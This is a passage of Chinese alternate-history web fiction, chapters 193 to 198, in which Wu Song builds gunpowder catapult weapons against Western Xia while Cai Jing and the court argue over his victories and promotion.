“找个郎中给她医治,莫要**。”
衙役把郑屠老婆拖下去。
武松看向知州孔道辅,说道:
“孔知州,尉迟昭那厮胡作非为,我看往后一个月,你好生坐堂审案,百姓有冤屈的,都审理明白。”
“下官记住了。”
武松起身,扈三娘、李二宝跟着。
鲁智深走到孔道辅身前,黑着脸说道:
“洒家记得你也爱钱财,你若敢也那样时,洒家饶不得你!”
鲁智深在经略府做提辖的时候,听说过孔道辅的事情。
这厮也是个见钱眼开的东西,暗地里做了不少坏事。
以前鲁智深只是一个提辖,管不了孔道辅。
现在不一样了,他是都钤辖,在宣抚使手下做事。
孔道辅被说得呵呵干笑,不敢反驳。
武松刚刚打了大胜仗,鲁智深也立了功,日后可能比他官儿大。
这样的人,孔道辅不敢得罪。
出了府衙,百姓纷纷说武松是青天大老爷。
离开州府,鲁智深带路进了经
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略府。
里面的老熟人见到鲁智深,纷纷过来厮见。
扈三娘看鲁智深和故人相谈甚欢,笑道:
“师兄还是喜欢渭州。”
“他在这里从军多年,自然习惯这里。”
梁山好汉,除了一些自愿上山的,其余都是无奈。
林冲被高俅**,鲁智深因为打死镇关西,卢俊义中了吴用的奸计,柴进因为髙廉**...
所以才有逼上梁山的说法。
鲁智深自己想的还是从军,能在沙场出力。
武松直接往经略府的甲仗库走去。
进了院子,里面的人正在忙碌。
凌振按照武松的吩咐,制造新的火器。
听说武松来了,凌振从里面跑出来。
“二郎怎么来了?”
“来看看你的火器进度怎样。”
“**倒是配好了,只是二郎说的**,着实不好铸造。”
“带我看看。”
凌振带路,进了铸造作坊,里面的铁匠正在用灌注的法子建造**。
凌振拿起一根,说道:
“这**容易炸了,伤了好几个军士。”
“若要不炸,除非加粗,可如此一来,便十分沉重了。”
**可以提纯、颗粒化,加速燃烧速率。
可是**用的铁不够好,铸造技术也不够,炸膛就很常见了。
武松接过**,仔细看过后,说道:
“既然如此,便多造些霹雳炮,再建造投石车,临阵之时,将霹雳炮投出去便是。”
如果一定要制造**,武松可以选择在渭州府建造钢铁厂,从高温炼炉开始,一点一点改进工艺。
但是如此一来,至少需要几年,甚至十几年的时间。
这样做太费时间了。
退而求其次,用霹雳炮替代**,也可以在战场用。
“你在建造火炮,笨重些无妨,固定在马车上。”
“到了要用时,用战马拖行。”
凌振问道:“火炮须多大?”
“无须多大,用来对付战马和甲士便可。”
周围的敌国无非西夏、辽国和金国。
这些国家都没有坚固的城墙,不需要多厉害的火炮攻城。
要对付的就是铁甲骑兵和披甲铁浮图。
“我晓得了。”
凌振马上按照武松的吩咐改良工艺。
武松没有急着回怀德军,就在经略府住下,指导凌振改良工艺、制造霹雳炮和火炮。
第194章 大军调动,必杀武松
兴庆府。
这里是西夏的都城,也是通往西域的必经之地。
任多洗忠的战报送进皇宫。
西夏皇帝李乾顺坐在枢密院,脸色阴沉,枢密使香都站在一旁不敢说话。
门外进来一个中年男子,对着李乾顺行礼:
“拜见兀卒!”
“坐。”
此人是西夏中书令李光信,就是西夏的宰相。
李光信是皇族,还是李乾顺的弟弟。
西夏所在区域,以前是大唐的国土,这里的人还残留着大唐的制度。
中书令就是从大唐时期传承下来的制度。
中书令是百官之首,枢密院则是最高军事机构。
李乾顺指了指桌上的战报,语气冰冷中带着愤怒,说道:
“察哥**。”
简单的一句,李光信悚然一惊,慌忙抓起桌上的战报。
看过后,李光信惊讶道:
“武松?此人不是宋国的科举状元么?”
枢密使香都说道:
“就是他。”
李光信觉得不可思议,问道:
“这武松我知晓的,宋国清河县人,参加科举,去年中了殿试状元。”
“他还写了几本书,我都看过,是一个做学问的人,怎么会...”
作为西夏的宰相,李光信对大宋的情况很了解。
特别是宋朝的大臣,他一直很关注。
武松是大宋朝堂上的风云人物,李光信自然格外关注。
《传**录》《四书章句注解》《三国演义》《三字经》...
武松写的几本书,李光信都看过。
对于武松的评价,李光信就是两个字:
书生!
这样的人,在宋朝很风光,很有前途。
但是,在西夏人看来,这样的武松就是废物!
十有九人堪白眼,百无一用是书生!
西夏以武立国,鄙视科举读书!
听说徽宗派遣赵楷、武松为将,出征西夏,李光信嗤之以鼻,预言察哥必能斩了武松。
万万没想到,察哥死在了武松手里。
李乾顺脸色很差,说道:
“我不管为甚么,我只要武松的首级!”
“你们说,派谁去?”
李光信看向枢密使香都,说道:
“献王阿惠在卓罗和南军司,去年击破童贯,献王也曾参战。”
“我举荐献王接管静塞军司和西寿保泰军司,任多洗忠由献王统领。”
说起任多洗忠,李乾顺明显不高兴,骂道:
“任多洗忠屡次兵败,我要将他捉回来斩了。”
枢密使香都劝道:
“如今用人之际,可让他戴罪立功。”
李光信附和道:
“微臣也这么认为,让他戴罪立功吧。”
李乾顺深吸一口气,算是暂且饶过任多洗忠。
“派翔庆军去!我要武松的首级,送到这里来!送到我手里来!”
中书令李光信、枢密使香都同时拜道:
“微臣领旨!”
翔庆军是西夏的军司之一,位于西平府。
而西平府曾经是西夏的首都,后来迁移到兴庆城。
西平府是拱卫都城的陪都,位置非常重要。
屯驻西平府的翔庆军是西夏最精锐的军队。
李乾顺派出翔庆军,说明他真的很生气了。
“让监军使重贵去,告诉他,我只要武松的人头,其他的我不管!”
“微臣领旨。”
李乾顺正准备离开,门外来报,说承天寺慧光大师求见。
很快,一个满脸横肉、腰粗十围的僧人走进来,身上披着黑色袈裟。
“小僧见过兀卒。”
“大师怎来了?”
“只为师弟鸠摩罗死在宋国。”
鸠摩罗被鲁智深阵斩,尸体挂在了怀德军营寨。
消息传回承天寺,慧光怒从心头起,到了皇宫。
“我也听说了,鸠摩罗大师为国捐躯,证得佛果。”
慧光焦躁道:
“死在宋人手里,有个甚么佛果,不过是冤死罢了。”
“小僧此来只为了请战,要为师弟复仇,杀了那贼和尚,才算是证得佛果。”
李乾顺正愁没有大将,这个慧光和尚武艺不俗,是个武僧,正好派他做将军。
“好,我便赐你为先锋大将,去杀那贼人武松!”
“小僧领旨!”
慧光和尚双手合掌,退出枢密院。
李乾顺又吩咐道:
“再把嘉宁军司的兵力调过去,此战不能有失!”
枢密使香都说道:
“兀卒,区区一个武松,调动五个军司,是否太兴师动众?”
李乾顺大怒,起身骂道:
“静塞军司已经少了,西寿保泰军司只有两万多人,那武松一下打掉了两个军司!”
“我再不多派些兵马,难道等他杀到兴庆府么!”
枢密使香都不敢回话,低头不语。
等李乾顺气消了,中书令李光信说道:
“微臣这就出调令,定要杀了武松!”
李乾顺起身,离开枢密院。
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>房间里剩下中书令李光信和枢密使香都,两人同时叹了一口气。
“中书令曾说武松不足虑,为何这等?”
李光信叹息道:
“你能料到那武松这等勇猛?一个状元,不在宋国做文章,却来我西夏打仗!”
两人又同时叹了口气。
枢密使香都说道:
“我这边起草调令,中书令拿去给兀卒过目。”
香都亲自写了三封调令,盖了枢密院的章子。
李光信拿了调令,马上进宫禀报。
李乾顺只是看了看,马上盖了玉玺。
调令火速送往三大军司,西夏精锐兵马开始调动,往西寿保泰军司集结。
...
渭州城。
校场空地,一辆最新的抛投车固定好,几个士兵用绞盘把托盘拉下来,固定好。
凌振把霹雳炮放在托盘上,引线点燃,然后松开卡扣。
呜...
霹雳炮在空中划出一道抛物线,落在200多米外的空地。
轰!
霹雳炮炸开,无数碎片四散,腾起一阵黑色烟雾。
扈三娘站在武松旁边,惊讶道:
“这霹雳炮好厉害,若是掉在士兵中间,周围的士兵定是难逃的。”
凌振骑着一匹马,跑到霹雳炮落下的位置,仔细分析威力和碎片情况。
回来后,凌振喜道:
“二郎不愧是状元,改良后的**着实厉害,定能击穿铠甲。”
“那碎片也多,便是铠甲击穿不得,那手脚、脸面也是要击中的。”
武松设计的霹雳炮,相当于**。
但是这个**体积更大,相当于10斤的西瓜。
武松没有追求做得更大,因为抛投车力量有限。
如果**太重,射程就不够。
鲁智深摸了摸脑门,感觉头发有点扎手。
“干呆么,这秃头该剃一下。”
摸完脑袋,鲁智深说道:
“二郎学问好,写得文章,造得火器。”
武松笑道:
“读过一些书罢了。”
武松吩咐凌振就按照这个样式,多造些抛投车和霹雳炮,还有炮手也要训练。
凌振都答应了,武松和扈三娘离了校场,一起逛街去了。
李二宝望着武松离去,怏怏不乐。
自从扈三娘出现,他这个随从多半时跟不了武松,都是扈三娘陪着。
鲁智深拍了拍李二宝,说道:
“与洒家剃头去。”
“师伯,我又不是和尚,剃头做甚么?”
第195章 种师道抵达,孙二娘入西夏
“不跟洒家剃头,你要做甚?”
“人家三娘跟着二郎,**甚么好歹,且随洒家剃头去!”
鲁智深拽着李二宝就走,也不管他愿不愿意,反正鲁智深自己愿意。
满清以前,汉人不剃头,所以也没有剃头匠这个职业。
但是,北宋时期有专门为人梳头、捉虱子、修面的职业,称为:
栉工。
他们开的店铺称为:
颙梳店。
鲁智深在街边找了家店面,大踏步走进去,主人家见了,问道:
“和尚修面么?”
“修甚么面,且把洒家头刮了。”
主人家为难道:
“和尚,你真个也是作耍?”
“洒家和你耍甚么!”
鲁智深在椅子上坐定,指了指长出脱发的脑门,说道:
“且为洒家把毛发剃个干净。”
主人家为难道:
“和尚,我与人修面、梳头,并不与人剃发。”
“你们出家人,庙里自有人与你剃发,何苦消遣我?”
寺庙里的和尚都有专门剃头的僧人,并不会到街上找人剃头发。
鲁智深焦躁道:
“真个不剃?”
主人家还想拒绝,李二宝连忙摸出一锭银子,塞给主人家,说道:
“主人家且与师伯胡乱刮了毛发便是。”
见了银子,主人家拿来剃刀,细细给鲁智深剃干净。
又拿来热毛巾敷了,都洗干净。
“和尚,你这胡须可要修的?”
“便一起修了。”
主人家又给鲁智深把络腮胡修剪整齐。
修剪完毕,拿来铜镜照了照,鲁智深喜道:
“如此才爽利了。”
欢喜出了铺子,鲁智深抬头看了一眼太阳。
此时快到夏日,天气燥热,鲁智深渴了,寻思到潘家酒楼吃酒。
却见城外进来一队人马,为首是一花甲老将,身旁跟着几员猛将。
鲁智深见了,连忙拦住行礼:
“老种经略相公来了。”
来人不是别人,正是延安府的经略使种师道。
得到赵楷的调令后,种师道立即整顿兵马,带着麾下大将,赶到渭州府。
适才刚刚进城,便遇见鲁智深。
种师道见和尚拦住,不知道鲁智深是谁。
在延安府的时候,鲁智深只是一个小军官,根本不入种师道的眼。
如今鲁智深成了和尚打扮,越发不认得。
身后一个中年将领走出来,问道:
“莫非是鲁达?”
“正是洒家,杨将军多年未见了。”
这中年将领唤作杨可世,是种师道麾下的骁将。
在延安府时,两人曾切磋过武艺,所以杨可世认得鲁智深。
“哦,便是你,都钤辖有礼了。”
种师道给鲁智深回了一礼,鲁智深哈哈笑道:
“多年不见,老相公还是精神。”
“早听说你做了和尚,又做了都钤辖,此番来渭州,便是见见你。”
“怎敢当老相公厚爱。”
见到老领导,鲁智深很高兴。
种师道问道:
“听闻武宣抚在城内,可还在么?”
“二郎与三娘闲逛去了,不打紧,我让二宝去寻他,老相公且到经略府坐地。”
鲁智深打发李二宝去找武松,自己带着种师道一行人到经略府坐下等候。
很快,武松和扈三娘联袂回到经略府。
种师道和一众武将起身迎接:
“下官拜见武宣抚。”
种师道行礼,武松立即回礼,拜道:
“老相公多礼了,折煞晚辈。”
北宋时期好人不多,种师道是其中之一。
不同于种谔狡诈,种师道此人为人温厚、善战,是个有德行的老将军。
所以武松对种师道也敬重三分。
杨可世几员将领也起身行礼,武松一一回礼。
“接到郓王调令,延安府七万禁军、五万厢军,全部赶往西安州点齐。”
“我到渭州府来,是想一睹武宣抚的风采。”
武松笑呵呵说道:
“晚辈岂敢,老相公威震西陲,晚辈早闻大名。”
“江山代有才人出,武宣抚初到渭州,便破了西夏七万精锐,杀了察哥,还烧了静塞军司,老夫佩服啊。”
种师道在延安府多年,加上家族威望,种师道可不是对谁都客气的。
专程到渭州府见武松,就是因为武松破了静塞军司、杀了察哥。
这样的事情,还是第一次。
武松笑了笑,说道:
“西夏必定报复,所以请老相公相助。”
“何必多说,老夫听从武宣抚调遣。”
“晚辈多谢老相公。”
“说起来,老夫的弟弟还是武宣抚救了他性命。”
说起当时的情况,种师道也想发兵六盘山,但是西夏那边的嘉宁军司、祥佑军司也在集结兵马。
如果种师道离开发兵救援,西夏很可能同时进攻延安府。
如此一来,情况将会变得很不妙。
所以种师道只能留在延安府。
“战场之上,本该相互救援,不当有私心。”
“镇戎军知军赵文那厮坐观成败,我到了后,先杀他祭旗!”
种师道忍不住叹息道:
“武宣抚好胆魄,他是太师的门生,老夫也不敢奈何他呀。”
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“蔡京那厮就是个奸臣,在京师的时候,我便与他不对付,杀他的门生算甚么!”
身后几个将领听了,对武松都很佩服。
敢正面硬刚蔡京的人没几个,武松算一个!
“武宣抚何时到西安州?”
“老相公来了,我与您同往。”
“如此甚好。”
鲁智深说道:
“许久未见老相公,二郎,俺们陪老相公痛饮。”
杨可世说道:
“不可多饮酒,当日鲁将军就是饮酒误了事,才打发你到渭州府的。”
提及往事,鲁智深有些挂不住,说道:
“来了渭州府,岂能不吃酒的。”
武松笑道:
“不吃多,为老相公接风洗尘。”
“武宣抚的酒,老夫要吃的。”
鲁智深大喜,当即让经略府的人准备酒菜,武松陪着种师道入席。
到了第二天,武松带着种师道和军队北上西安州。
...
西夏,兴庆府。
孙二娘、张青两人牵着两峰骆驼,带着几个伙计,到了城门口。
西夏士兵见到几人,当即拦住,呵斥道:
“哪里人?干甚么的?”
孙二娘笑呵呵说道:
“军爷,俺们是买卖人,来这里做买卖的。”
“你们是宋国人!搜!”
士兵上前搜查行囊包袱,又要搜身。
孙二娘摸出一锭银子,塞给小军官。
虽然得了银子,士兵还是把所有包袱都翻了一遍,只是不搜身。
检查没有问题,士兵这才放行:
“在我们大夏,莫要做谍子,你看那城头挂着的,就是你们宋国的谍探。”
孙二娘抬头看去,只见两个风干的人挂在墙头。
“哎呀,我等只为了钱财,本分买卖人。”
“进去吧。”
士兵放行,孙二娘、张青牵着骆驼进城。
看着街道、行人,张青道:
“这兴庆府远不如汴京繁华。”
“西夏小国,自然比不得我们。”
几人找了个客店投宿,把东西暂时存放。
到了第二日,夫妻两个出去寻找店铺门面。
地方不难找,很快盘了一个铺子下来。
张青出去买了酿酒的东西,又买了蒸馒头用的家具。
忙活几天,铺子先开了门,卖羊肉馒头。
至于葡萄酒,还得等有了葡萄才行。
古代没有冷藏保鲜技术,只能等葡萄成熟的时候,才能酿造葡萄酒。
门面开张,孙二娘、张青就是本分做买卖,也不通传情报。
西夏的间谍则在暗处盯着。
第196章 三连捷报,功臣奸臣?
汴京皇宫。
蔡京脚步匆匆进了御书房,徽宗坐在里面。
太监杨戬和童贯也都在,还有高俅。
这几人都是蔡京的同党,几人相互点头问候。
不过,有个人蔡京看了心烦,正是他的大儿子蔡攸。
两人相看两厌,都恨不得对方早死。
“老臣拜见圣上。”
“太师来看,武松破敌了。”
蔡京接了战报,正是郓王赵楷送回来的,说的是武松在六盘山大破任多洗忠,救了种师中,斩俘两万有余。
看完后,蔡京黑着脸,把战报扯碎。
徽宗吃了一惊,问道:
“太师这是做甚?”
蔡攸跳起来,指着蔡京骂道:
“蔡京,你好大的胆子,竟敢扯碎捷报!”
“我便知道你嫉妒,竟敢在圣上面前如此!”
被自己儿子骂,蔡京大怒,指着蔡攸骂道:
“狗崽子知道个甚么!武松这厮胆大包天,擅杀朝廷命官、掠夺兵权!”
“那厮到了镇戎军,杀了知军赵文,好大的胆子!”
赵楷的捷报到了京师,给蔡京打小报告的信也到了。
得知自己的门生**,蔡京火冒三丈,特意来告状问罪的。
徽宗还不知晓此事,惊问道:
“武松怎敢如此?”
童贯、高俅正为武松立功发愁,听了蔡京的话,顿时欢喜。
童贯骂道:
“武松这厮胆大妄为,朝廷任命的知军,他也敢杀!”
高俅附和道:
“如此无法无天的人,让他执掌兵马,定然成反贼。”
蔡攸想为武松说话,可是武松杀了知军,当真是好狗胆,蔡攸也为难了,不知该怎么说。
蔡京说道:
“请圣上夺了武松兵权,让他回京师!”
“此贼手里有兵,定是要**的。”
高俅附和,童贯却没有说话。
因为当初的计策,是让武松打败仗再回来。
现在回来,虽然有个****的罪名,但也打了胜仗,无法置武松于死地。
徽宗心中纠结,要不要把武松叫回来..
正在吵闹,门外太监又送来一封捷报:
“圣上,郓王送来捷报。”
蔡京几人愣住了...又有捷报?
“拿来!”
徽宗抬手,蔡攸早把捷报拆开看了,欢喜道:
“恭喜圣上,武松夺回怀德军,杀了西夏大将鸠摩罗。”
蔡攸欢喜将奏报呈给徽宗。
看过后,徽宗喜道:
“太师,你看武松又杀了敌军大将,守住了怀德军营寨。”
蔡京接过捷报看了,摇头道:
“圣上莫要被武松这厮哄骗,这不过是守城而已,算不得捷报。”
“这厮杀了知军赵文,罪过是定了的,无法抵消。”
“请圣上下旨,让武松回来。”
徽宗为难,感觉头疼。
战事已经开始,临阵换将兵家大忌,更何况把人叫回来。
蔡攸心里也很着急,武松在西边打得很好,最后他也能算一份功劳。
如果这时候把武松叫回来,便是前功尽弃了。
“让武松回来,谁去当主将?莫非老东西你去?”
蔡攸嘲讽,徽宗点头道:
“让武松回来,谁人可以替武松回来?”
蔡京看向童贯,童贯转头不看他,明显不愿意再去。
高俅更是一个破落户,除了踢球、**、**...年纪大了嫖不动...他啥都不会,指望不上。
蔡京心中暗道:
我须找些个能打仗的武夫,替我**分忧。
见几人都不说话,徽宗说道:
“那便暂时让武松在渭州,且看后续如何。”
蔡京说道:
“留武松在渭州也可,请圣上下旨,先夺了武松集英殿修撰的贴职。”
“这厮擅**大臣,岂能不惩罚?”
徽宗想了想,觉得武松所为确实不妥。
不管怎么说,赵文是朝廷任命的镇戎军主帅,岂能说杀就杀了?
“传旨,削夺武松集英殿修撰的贴职,改为...”
童贯马上说道:
“圣上,如今战事未定,不宜再给武松贴职。”
“且等他归来,再**行赏。”
徽宗微微颔首道:
“那便如此吧。”
徽宗看外面是阴天,想着回去踢球,起身说道:
“太尉随我来,到禁中踢上两脚。”
“老臣领旨。”
高俅欢喜跟着往里走,蔡京、童贯奸计得逞,心中欢喜。
对于赵文的死,他们并不关心,**就**,走狗有的是,再选一个便是。
唯独蔡攸心中郁闷,感觉没有争过蔡京。
就在此时,小太监又跑进来,喊道:
“启奏圣上,渭州府捷报!”
“啊
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?还有捷报!”
蔡攸大喜,从小太监手里接过捷报拆开。
徽宗停下来,高俅不耐烦道:
“武松这厮恁地不知事理,不过是阵前杀一个敌将,便来冒功邀赏!”
童贯嗤之以鼻,嘲讽道:
“若是这等也算功劳,那我去年功劳比天大。”
蔡京冷冷看着蔡攸,嘲讽道:
“不孝子,你把自己老婆给了武松,以为能分到天大功劳。”
“不过是一纸上谈兵的书生罢了,能有甚么功劳!”
蔡攸看完,脸色惊愕...像是呆了。
见蔡攸这等表情,蔡京更加得意,骂道:
“不成器的混账东西,那武松在你后院数日,你的妻女都被淫了!”
蔡攸缓缓抬头,反问道:
“我的老婆不是你的儿媳么?你的儿媳被武松淫了,你也是个老乌龟!”
“你...”
蔡京气得半死,童贯、高俅同时笑出声来。
徽宗皱眉道,问道:
“书童,到底如何?”
蔡攸小时候就和徽宗认识,蔡攸以徽宗的书童自居。
书童,是徽宗对蔡攸的昵称。
蔡攸起身,将捷报郑重地呈给徽宗,说道:
“圣上自看便知。”
徽宗接了,高俅识字不多,杨戬是个太监,认字也不全,只能眼巴巴看着。
看过后,徽宗手微微颤抖,表情阴晴不定...
“我便知道武松那厮定要大败,果然如此!”
童贯以为武松战败了,这根本不是甚么捷报!
蔡京听了,大喜道:
“请斩武松,以儆效尤!”
“这厮夸夸其谈、胆大包天、目无王法,这等奸贼不杀,朝纲何在、天理何在!”
童贯附和,叫嚣着要杀武松。
徽宗缓缓抬头,说道:
“武松破了静塞军司,阵斩察哥,歼敌七万有余,收复了西安州。”
蔡京三人听了,感觉如遭雷击,全都外焦里嫩。
攻破静塞军司?
阵斩察哥?
可以更离谱点么?
缓了缓,童贯大声叫道:
“武松这厮谎报军情!静塞军司在西夏境内,他如何能攻破?”
“察哥乃是西夏猛将,他能阵斩?他有何才能!”
蔡京也回过神来,骂道:
“好个贼武松,竟敢谎报,欺君罔上,请杀武松以正国法!”
第197章 蔡京进谗,帝姬发怒!
蔡京、童贯接受不了武松攻破静塞军司、阵斩察哥的消息,也无法相信。
他们认定武松在谎报军情,武松根本不可能做到这些。
徽宗缓缓说道:
“武松在静塞军司活捉晋王妃梁瑶,正在送来。”
“察哥的尸首也在路上,不日将送到京师,此事错不了。”
“至于是否歼敌七万,枢密院、御史台派人去核查便是。”
捷报可以八百里加急,战马跑得快。
至于察哥的尸体、王妃梁瑶,需要马车运送,快不了。
所以,捷报先到了,人还没有到。
听到这里,蔡京、童贯彻底破防了。
高俅、杨戬两人也被震撼到了。
武松居然这么猛?
刚到渭州府,就杀了察哥,还攻破了静塞军司,太强了!
蔡攸嘿嘿冷笑道:
“老狗,那赵文是你的门生!”
“种师中被围六盘山,赵文居然坐观成败、拒不出兵,定然是你指使的!”
“这等狗贼,早该杀了才是!”
这封捷报是何运贞写的,特意解释了武松为何杀赵文。
蔡京愣了一下,怒骂道:
“放屁!怎会坐观成败,定是武松罗织罪名!”
“是也不是,派监察御史萧服去便知。”
蔡京当然不敢让御史台的人去查,他派赵文过去,就是为了夺种师中的兵权。
种师中被围困,按照蔡京的尿性,肯定坐观成败。
等种师中**,就可以接管渭州府的兵权。
赵文是蔡京的门生,想法当然一样。
“老狗,你心里如何想的,你自家清楚。”
蔡攸心情大喊,说道:
“圣上,武松立了大功,赵文那厮该死。”
“他集英殿修撰的贴职不该撤,还当赏他才是。”
“这西夏打了许多年,从未有攻破他们军司的先例,武松是个宰相之材。”
徽宗点头道:
“不错,武松立了大功,朕...擢武松为龙图阁待制。”
龙图阁是大宋最重要的文官机构,虽然没有实际权力,但是想担任高官,必须在龙图阁有贴职。
比如包拯,就是龙图阁学士。
后来包拯虽然做了很多官,但在尊称的时候,还是要恭恭敬敬称呼一声:
包龙图!
龙图阁待制为正四品,品级也提升了一级。
听到擢升武松为龙图阁待制,蔡京急了,连忙道:
“不可、万万不可!武松去年才得了状元,如今已是集英殿修撰。”
“若是再擢为龙图阁待制,恩宠太过,不是养臣之道。”
“帝王之术,须缓缓擢升,他武松今年不到20岁,恩宠太多,日后如何册封?”
这话倒是提醒了徽宗,武松太年轻了,如果这时候给太多,以后立功了,封无可封、赏无可赏!
蔡攸跳起来,骂道:
“老狗,有功不赏、有罪不罚,怎么做皇帝!”
“圣上,莫理他,童贯去年大败,武松破了西夏军司,是我朝第一人。”
“如此大功不赏,如何激励士气?”
徽宗觉得蔡攸所说也有道理...
蔡京说道:
“战事才刚开始,等武松归来,再赏不迟。”
徽宗点头道:
“如此...也好。”
蔡攸马上说道:
“圣上,其余人需要封赏的。”
“嗯,其余人**行赏。”
事情算是定了,徽宗自与高俅回禁中踢球。
蔡京、童贯两人出了御书房,心中烦闷不已。
本来想着让武松去送死,结果武松打得这么好。
童贯担忧道:
“万一让武松打了胜仗,如何是好?”
蔡京冷笑道:
“若是他只击退了察哥,我还担忧他立功。”
“如今他杀了察哥,还攻破了静塞军司、掳走了王妃,我便不担忧了。”
童贯不理解,蔡京冷笑道:
“察哥是晋王,杀了李乾顺的兄弟,那武松不死么?”
“还有那王妃,被送到京师来,这是何等的**。”
“李乾顺必定不会罢休,定要举国出动。”
“他武松有几条臂膀、几颗脑袋,定要他死在边关!”
经过蔡京这么一说,童贯也明白过来,喜道:
“太师好算计,如此才好!”
两人都欢喜了。
武松在渭州府大破西夏的消息很快在京师传开,特别是阵斩察哥、活捉王妃,此事传得沸沸扬扬。
一时间,武松再次名声大噪,成为京师所有人议论的焦点。
登仙楼上。
小蝶说着外面的传闻,李师师听得满心欢喜。
离开的时候,李师师担心武松安危。
如今知道武松大胜,满心欢喜。
李妈妈欢喜从楼下上来,笑道:
“我的儿,那武松打了胜仗,据说捉了西夏王妃。”
“待他回来京师,定是要做大官的,我儿以后有指望了。”
李师师深吸一口气,语气傲娇地说道:
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“妈妈知道便好,女儿上次和二郎睡了,你还说女儿白养了。”
“哎呀,是妈妈我眼皮子浅,看得不长远,好在你与他睡了,唤作往后,不知多少人缠他。”
确定武松厉害,李妈妈当即给李师师换了地方。
从此以后,不让外人见她,只等武松回来赎身。
捷报送达京师的时候,武松的情书也送到了赵福金手里。
坐在房间里,赵福金小心打开盒子,里面是一串项链、一封情书。
打开信封,里面是武松的亲笔信。
看到武松称呼她为“心爱的公主殿下”,赵福金笑靥如花。
看完后,赵福金喜道:
“还记得离开我的时日,算他有良心。”
“那察哥辱我,他便杀了察哥,是个有本事的男子。”
“把项链给我戴上,从今往后,我日夜都要戴着。”
侍女马上把项链戴在赵福金脖子上。
对着铜镜看了又看,赵福金很满意,感觉就像武松陪着自己。
门外,一个侍女匆匆进来,说道:
“公主,方才武大人的捷报到了,圣上本要擢升武大人为龙图阁待制,太师、童枢密一起反对。”
“然后呢?提了么?”
“未曾,圣上说待武大人归来再说。”
赵福金大怒,骂道:
“蔡京老狗乱我家事!”
“封谁官职、封甚么官职,是我赵家说了算!何时轮到他蔡家老狗胡说八道!”
“走,我要见父皇!”
赵福金带着人,风风火火走飞桥复道进宫。
很快,赵福金在球场见到了徽宗。
一见面,赵福金眼泪便断珠似得往下落。
徽宗见了心疼,问道:
“何人惹你伤心?父皇为难做主。”
“父皇,武松在西夏立功,为何不赏?”
原来是为了武松,徽宗心中了然,安慰道:
“并非不赏,他如今年轻,若是封赏太多,只怕对他不好。”
“如何不好?无非是老狗嚼舌头。”
“这...”
见徽宗犹豫,赵福金哭得更厉害了。
徽宗心疼女儿,安慰道:
“我这就下旨,封他为龙图阁待制,如何?”
“女儿谢父皇。”
赵福金这才欢喜,当即让人起草圣旨,监督徽宗盖了玉玺、派人送出,才带着侍女回公主府。
高俅在旁边看着,心中暗道:
苦也!帝姬死心塌地跟着武松,这如何能对付得了?
第198章 教头王进,兵马集结
不说茂德帝姬为武松请功。
且说武松带着种师道启程赶往西安州,路上说着些西夏的事情。
抵达西安州时,延安府七万禁军、五万厢军已经到了。
种师道带着将领绕道渭州见武松,大军并没有绕路,而是直接从延安府到了西安州。
赵楷、张吉和种师中一众人出来厮见。
种师道先拜见赵楷,又拜见张吉,最后兄弟两人到里头说体己话去了。
武松则带着鲁智深、扈三娘往营地去看延安府的兵马。
李二宝自去找燕青说话。
武松总有扈三娘陪着,他感觉自己是电灯泡。
到了校场,却见一个中年男子正在传授枪棒,卢俊义也在旁边观看。
武松走过去,仔细看了会儿,点头道:
“这教头的枪棒着实了得。”
卢俊义说道:
“这人原是八十万禁军的教头,因得罪了高俅,投到老钟经略那里效力。”
这么一说,武松当即问道:
“莫非是王教头?”
“对,这教头唤作王进。”
鲁智深抹了一把光头,喜道:
“呀,原来是史大郎的师父。”
“当日史大郎到渭州寻他师父不见,便问了洒家,还在潘家酒楼吃酒。”
武松立即进了校场,走到王进身边,行礼道:
“可是王进王教头当面?”
王进收了**,打量武松一番,问道:
“莫非是武宣抚?”
“晚辈武松。”
“下官延安府**班教头王进,拜见武宣抚。”
“王教头客气了,久闻大名如雷贯耳。”
“小可区区一教头罢了,岂敢、岂敢。”
鲁智深走过来,大声道:
“王教头可有个徒弟唤作史进的?”
“是,当日投宿史太公家里,传授了史进枪棒,师父如何认得他?”
“哎呀,数年前,洒家在渭州府做提辖,那时史大郎来寻你不见,洒家与他吃了酒。”
“噫?他不在史家村过日子,如何到了渭州?”
史进的事情一时半会说不明白,武松请王进到屋里说话。
在屋里坐地,武松、扈三娘、卢俊义、鲁智深和王进几人倒了茶,细细说以前的事情。
鲁智深把史进如何在史家村待不下去,如何找王进不见,又如何遇到鲁智深,又如何在少华山落草,都备细说了。
听完后,王进感慨道:
“这史大郎如何不到延安府来,若是来了,也可投身军武,好似落草为寇。”
“饥不择食、慌不择路,史大郎没有了盘缠,只能做些没本钱的买卖。”
鲁智深自己当过土匪,所以对于落草为寇感觉没什么,很正常!
武松却说道:
“史大郎也是条汉子,如今应当还在少华山落草。”
“王教头何不写一封信,招他来此?”
九纹龙史进战斗力和为人都算可以,武松想拉他入伙。
少华山除了九纹龙史进,还有神机军师朱武、跳涧虎陈达、白花蛇杨春。
陈达、杨春这两人一般,武艺都平平。
神机军师朱武精于阵法,倒是个可用之人。
听了武松的话,王进点头道:
“当日在他庄子里,史太公对我母子有恩,如今史大郎落草,我须招他来。”
“只是他落草为寇,不知武宣抚是否介意?”
鲁智深哈哈笑道:
“这有何妨,洒家也在二龙山落草的。”
武松笑道:
“若是为国效力,便是英雄汉子,有甚么介意的。”
王进喜道:
“如此,我便写信招他来。”
拿来笔墨,王进当即写了一封信。
武松也给王进写了一封信,请他招神机军师朱武三人一同来。
信密封好,武松差遣个军士,当即往少华山送信去。
几人又说了些京师的事情,提起武松暴打高衙内、高俅,王进听得连连赞叹。
正吃着茶,郓王赵楷让欧阳雄过来请。
武松起身进了帅府,赵楷坐在正首。
张吉、种师道、种师中和陈罡、曹光远、杨可世一众将领坐在右侧。
杨志、徐宁、施恩、曹正、戴宗、时迁一帮人坐在左侧。
武松进门,在左侧第一个位置坐下,卢俊义、扈三娘、鲁智深依次坐地。
何运贞、欧阳雄两人坐在后面,他们两个是幕僚。
何正复是都转运使,回了渭州城,调运粮草、军械供应西安州。
兵马未动粮草先行,大战在即,西安州所需的辎重耗费巨大。
见人齐了,赵
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楷说道:
“探子来报,说西夏李乾顺恼羞成怒,调遣卓罗和南军司的阿惠与我们决战。”
“又调翔庆军、嘉宁军司和祥佑军司的兵马,到西寿保泰军司点齐。”
“几处兵马合计,该有三十万兵马,且翔庆军是西夏最精锐的马军,我心中担忧。”
种师道、种师中兄弟两个点头,他们和西夏打仗多年,知道厉害。
种师道开口道:
“特别是翔庆军,是西夏最精锐的军队,他们的铁甲连环马,十分强悍。”
“四十年前,我们大宋和西夏打过一次,那时候的铁甲连环马横推战场,我们损失惨重。”
